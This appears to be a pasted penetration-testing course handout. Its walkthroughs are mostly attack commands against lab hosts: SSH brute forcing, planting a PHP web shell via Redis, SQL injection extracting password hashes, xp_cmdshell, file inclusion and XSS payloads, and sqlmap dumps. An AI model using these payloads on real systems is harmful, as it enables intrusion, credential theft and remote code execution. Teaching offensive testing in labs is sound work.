- set STOP_ON_SUCCESS true
- set RHOSTS 10.0.0.120
- set RPORT 1322
- run
- use auxiliary/scanner/ssh/ssh_login
- set USER_FILE /home/infosecaddicts/list.txt
- set PASS_FILE /home/infosecaddicts/list.txt
- set STOP_ON_SUCCESS true
- set RHOSTS 10.0.0.120
- set RPORT 1322
- run
- sessions -l
- sessions -u 1
- sessions -i 1
- id
- #################
- # Attacking NFS #
- #################
- rpcinfo -s 10.0.0.120
- showmount -e 10.0.0.120
- mount -t nfs 10.0.0.120:/backup /tmp/nfs -o nolock
- ls /tmp/nfs
- cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts
- umount -l /tmp/nfs
- sudo apt-cache search fcrackzip
- infosecaddicts
- sudo apt install -y fcrackzip
- infosecaddicts
- fcrackzip -D -p /home/infosecaddicts/list.txt
- unzip -P aaaaaa backup.tar.bz2.zip
- tar -zxvf backup.tar.bz2
- ###################
- # Attacking Redis #
- ###################
- sudo nmap -p 6379 --script=redis-info 10.0.0.120
- infosecaddicts
- sudo apt install -y redis-tools
- infosecaddicts
- redis-cli -h 10.0.0.120
- CONFIG SET dir /var/www/html/main
- CONFIG GET dir
- config set dbfilename bomba.php
- CONFIG GET dbfilename
- SET cmd "<?php system($_GET['joe']); ?>"
- BGSAVE
- http://10.0.0.120/bomba.php
- http://10.0.0.120/bomba.php?joe=id
- (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"
- ##########
- # Day 4: #
- ##########
- http://10.0.0.9/login.aspx
- I entered a single quote (') for both the user name and the password. I got the following error:
- -----------------------------------------------------------------
- 'Users//User[@Name=''' and @Password=''']' has an invalid token.
- Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
- Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
- Source Error:
- Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
- Line 113: string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
- Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
- Line 115: //String test = xmln.ToString();
- Line 116: if (xmln.Count > 0)
- -----------------------------------------------------------------
- Hmm....System.Xml.XPath.XPathException.....that's not SQL.
- WTF is this:
- Line 112: doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
- Let's check it out:
- http://10.0.0.9/AuthInfo.xml
- Looks like we found passwords!!!!!!!!!!
- Looks like there no significant new functionality after logging in with the stolen credentials.
- Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
- http://10.0.0.9/bookdetail.aspx?id=2
- Ok, there is parameter passing (bookdetail.aspx?id=2).
- The page name is: bookdetail.aspx
- The parameter name is: id
- The paramber value is: 2
- Let's try throwing a single quote (') in there:
- http://10.0.0.9/bookdetail.aspx?id=2'
- I get the following error:
- Unclosed quotation mark after the character string ''.
- Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
- Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
- #############################################################################
- # SQL Injection #
- # https://s3.amazonaws.com/infosecaddicts-Files/1-Intro_To_SQL_Intection.pptx #
- #############################################################################
- - Another quick way to test for SQLI is to remove the paramter value
- #############################
- # Error-Based SQL Injection #
- #############################
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--
- **** NOTE: "N" - just means to keep going until you run out of databases ****
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
- #############################
- # Union-Based SQL Injection #
- #############################
- http://10.0.0.9/bookdetail.aspx?id=2 order by 100--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 50--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 25--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 10--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 5--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 6--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 7--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 8--
- http://10.0.0.9/bookdetail.aspx?id=2 order by 9--
- http://10.0.0.9/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
- We are using a union select statement because we are joining the developer's query with one of our own.
- Reference:
- http://www.techonthenet.com/sql/union.php
- The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
- It removes duplicate rows between the various SELECT statements.
- Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
- http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
- Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
- http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
- http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
- http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
- http://10.0.0.9/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
- - Another way is to see if you can get the backend to perform an arithmetic function
- http://10.0.0.9/bookdetail.aspx?id=(2)
- http://10.0.0.9/bookdetail.aspx?id=(4-2)
- http://10.0.0.9/bookdetail.aspx?id=(4-1)
- http://10.0.0.9/bookdetail.aspx?id=2 or 1=1--
- http://10.0.0.9/bookdetail.aspx?id=2 or 1=2--
- http://10.0.0.9/bookdetail.aspx?id=1*1
- http://10.0.0.9/bookdetail.aspx?id=2 or 1 >-1#
- http://10.0.0.9/bookdetail.aspx?id=2 or 1<99#
- http://10.0.0.9/bookdetail.aspx?id=2 or 1<>1#
- http://10.0.0.9/bookdetail.aspx?id=2 or 2 != 3--
- http://10.0.0.9/bookdetail.aspx?id=2 &0#
- ###############################
- # Blind SQL Injection Testing #
- ###############################
- Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
- 3 - Total Characters
- http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
- Let's go for a quick check to see if it's DBO
- http://10.0.0.9/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
- Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
- D - 1st Character
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
- B - 2nd Character
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- O - 3rd Character
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
- http://10.0.0.9/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
- ##########
- # Sqlmap #
- ##########
- If you want to see how we automate all of the SQL Injection attacks you can log into your infosecaddicts-Ubuntu-VM and run the following commands:
- cd /home/infosecaddicts/toolz/sqlmap-dev/
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -b
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-user
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --current-db
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --dbs
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp --tables
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
- python sqlmap.py -u "http://10.0.0.9/bookdetail.aspx?id=2" --users --passwords
- Ok, now let's have some real fun!
- Go to the address below in firefox:
- http://10.0.0.9/bookdetail.aspx?id=2;exec+master..xp_cmdshell+'ping -n 8 127.0.0.1'--
- #######################
- # Attacking PHP/MySQL #
- #######################
- Go to LAMP Target homepage
- http://54.172.112.249/
- Clicking on the Acer Link:
- http://54.172.112.249/acre2.php?lap=acer
- - Found parameter passing (answer yes to question 1)
- - Insert ' to test for SQLI
- http://54.172.112.249/acre2.php?lap=acer'
- Page returns the following error:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
- In order to perform union-based sql injection - we must first determine the number of columns in this query.
- We do this using the ORDER BY
- http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
- Page returns the following error:
- Unknown column '100' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
- Page returns the following error:
- Unknown column '50' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
- Page returns the following error:
- Unknown column '25' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
- Page returns the following error:
- Unknown column '50' in 'order clause'
- http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
- ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
- Now we build out the union all select statement with the correct number of columns
- Reference:
- http://www.techonthenet.com/sql/union.php
- http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
- Now we negate the parameter value 'acer' by turning into the word 'null':
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
- We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
- Use a cheat sheet for syntax:
- http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
- http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
- Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
- http://54.172.112.249/showfile.php?filename=about.txt
- See if you can read files on the file system:
- http://54.172.112.249/showfile.php?filename=/etc/passwd
- We call this attack a Local File Include or LFI.
- Now let's find some text out on the internet somewhere:
- http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
- http://54.172.112.249/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- -----------------Some Automated Testing from the infosecaddicts VM-----------------
- ##################################################
- # You can download the virtual machine from here #
- ##################################################
- https://s3.amazonaws.com/infosecaddicts-VMs/infosecaddictsUbuntu-v3.zip
- user: infosecaddicts
- pass: infosecaddicts
- cd /home/infosecaddicts/toolz/sqlmap-dev/
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" -b -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-user -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
- python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
- #########################################
- # Let's kick it up a notch with ASP.NET #
- # http://10.0.0.121/ #
- #########################################
- The trading Web App is on http://10.0.0.121/
- Try the following in the search box:
- <script>alert(123);</script>
- ' or 1=1
- ' and a=a
- 1=1
- Joe'+OR+1=1;--
- <script>alert(123);</script>
- Open a new tab in firefox and try this:
- http://10.0.0.121/Searchresult.aspx?<script>alert(123);</script>=ScriptName
- Try the contact us form.
- Open a new tab in firefox and try this:
- http://10.0.0.121/OpenPage.aspx?filename=../../../../../../windows/win.ini
- Try this on the inquiry form:
- Joe McCray
- 1234567890
- joe@strategicsec.com') waitfor delay '00:00:10'--
- Login Box:
- ' or 1=1 or ''='
- anything (click login instead of pressing enter)
- Tamper Data: (notice 2 session IDs)
- AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
- IsAdmin=yes;
- ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
- Profile - Detail (tamper data)
- Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
- joe|set
- xss_upload.txt (Upload Bulk Order)
- <script>alert(123);</script>
- ############################
- # Trading Web App with WAF #
- # http://10.0.0.94 #
- ############################
- Try the following in the search box:
- <script>alert(123);</script>
- <script>alert(123);</script
- <script>alert(123)
- <script>alert
- <script>
- <script
- <scrip
- <scri
- <scr
- <sc
- <s
- <p
- <
- < s
- Joe'+OR+1=1;--
- Open a new tab in firefox and try this:
- http://10.0.0.94/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=ScriptName
- xss_upload.txt (Upload Bulk Order)
- <script>alert(123);</script>
- Login Box:
- ' or 1=1 or ''='
- anything
- Tamper Data: (notice 2 session IDs)
- AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
- IsAdmin=yes;
- ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
- Profile - Detail (tamper data)
- Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
- joe|set
- ###########################################################
- # Attacking an Oracle/JSP based WebApp with SQL Injection #
- ###########################################################
- http://10.0.0.23:8081/bookcompany/
- user: a' OR 'a'='a
- pass: a' OR 'a'='a
- http://10.0.0.23:8081/bookcompany/author.jsp?id=111
- [ Search by Username ] Joe' OR 'a'='a
- http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1
- http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
- http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
- Host is running:
- http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT user FROM dual))--
- User is:
- http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1' or 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
- Current database is:
- cd /home/infosecaddicts/toolz/sqlmap-dev/
- python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" -b
- python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-user
- python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --current-db
- python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --dbs
- python sqlmap.py -u "http://10.0.0.23:8081/bookcompany/faq.jsp?id=111&qid=1" --users --passwords
- Y
- 1
- ###############################################################
- # Question 1: What is the process that you use when you test? #
- ###############################################################
- Step 1: Automated Testing
- Step 1a: Web Application vulnerability scanners
- -----------------------------------------------
- - Run two (2) unauthenticated vulnerability scans against the target
- - Run two (2) authenticated vulnerability scans against the target with low-level user credentials
- - Run two (2) authenticated vulnerability scans against the target with admin privileges
- The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix).
- A good web application vulnerability scanner comparison website is here:
- http://sectoolmarket.com/price-and-feature-comparison-of-web-application-scanners-unified-list.html
- Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue.
- Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
- Also, be sure to save the scan results and logs. I usually provide this data to the customer.
- Step 1b: Directory Brute Forcer
- -------------------------------
- I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
- Step 2: Manual Testing
- Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
- Step 2a: Spider/Scan the entire site with Burp Suite
- Save the spider and scan results. I usually provide this data to the customer as well.
- Step 2b: Browse through the site using the 3 question method
- Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
- Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
- Here is what I mean:
- http://www.site.com/page.aspx?parametername=parametervalue
- When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
- http://www.site.com/page.aspx?parametername=[ payload ]
- You need to ensure that you send the payload this way, and like this below:
- http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
- This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
- ###########################################
- # Question 2: How much fuzzing is enough? #
- ###########################################
- There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
- Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
- Step 1: Ask yourself the 3 questions per page of the site.
- Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
- Step 3: When you load your fuzz strings - use the following decision tree
- - Are the fuzz strings causing a default error message (example 404)?
- - If this is the case then it is most likely NOT vulnerable
- - Are the fuzz strings causing a WAF or LB custom error message?
- - If this is the case then you need to find an encoding method to bypass
- - Are the fuzz strings causing an error message that discloses the backend type?
- - If yes, then identify DB type and find correct syntax to successfully exploit
- - Some example strings that I use are:
- '
- "
- () <----- Take the parameter value and put it in parenthesis
- (5-1) <----- See if you can perform an arithmetic function
- - Are the fuzz strings rendering executable code?
- - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- - Some example strings that I use are:
- <b>hello</b>
- <u>hello</u>
- <script>alert(123);</script>
- <script>alert(xss);</script>
- <script>alert('xss');</script>
- <script>alert("xss");</script>
- ************************ Class Challenge ************************
- Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
- Here are some sample web app penetration test reports from other companies that you can look at:
- https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
- I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
- #########
- # Day 5 #
- #########
- Today you finally get the chance to take a step into the world of penetration testing.
- Day 5 Task 1
- We'll start by having your do a job interview for the position of junior penetration tester. Here are the questions:
- https://goo.gl/forms/l2cMNg1F50kLQsHG2
- Day 5 Task 2
- Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible.
- You'll each be given access to the Googele Drive where all of the resources to complete this task are located.
- Day 5 Task 3
- Use nmap to map the target network (10.0.0.0/24).
- Task 3a) Identify the number of reachable hosts.
- Task 3b) Identify the number of open ports per hosts.
- Task 3c) Identify the software versions of each application running on each exposed port on each host in the environment.
- Task 3d) Identify the vulnerable services on each host in the target network along with their exploit-db.com ID number
- Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
- Day 5 Task 4
- Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24).
- Reference:
- http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
- Day 5 Task 5
- Populate the findings spreadsheet with as much detail as possible
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement